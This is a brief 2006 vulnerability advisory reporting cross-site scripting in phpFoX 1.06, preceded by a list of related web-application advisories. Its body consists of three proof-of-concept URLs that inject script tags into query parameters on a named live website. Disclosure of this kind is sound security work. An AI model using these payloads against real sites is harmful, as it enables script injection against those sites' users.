Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA19453] v-creator VCEngine.php Shell Command Injection Vulnerability

[SA19483] Groupmax World Wide Web Cross-Site Scripting Vulnerability

MonAlbum 0.8.7 SQL Injection

Oxygen<=1.x.x SQL injection

From:	Cyber Lords <fear_(at)_cyberlords.net>
Date:	31.03.2006
Subject:	XSS in phpFoX Version 1.06

Advisory: XSS in phpFoX Version 1.06

Home Page: http://www.phpfox.com/

Уязвимость/Vulnerability:
Межсайтовый скриптинг/Cross Site Scripting

http://www.arcticarmy.co.uk/user/?P=Daalvashi"><script>alert()
</script><"
http://www.arcticarmy.co.uk/user/?G=Cutiebubbleboo"><script>alert(
)</script><"
http://www.arcticarmy.co.uk/user/?GB=Cutiebubbleboo"><script>alert(
)</script><"

--------------------------
Cyber Lords Team
www.cyberlords.net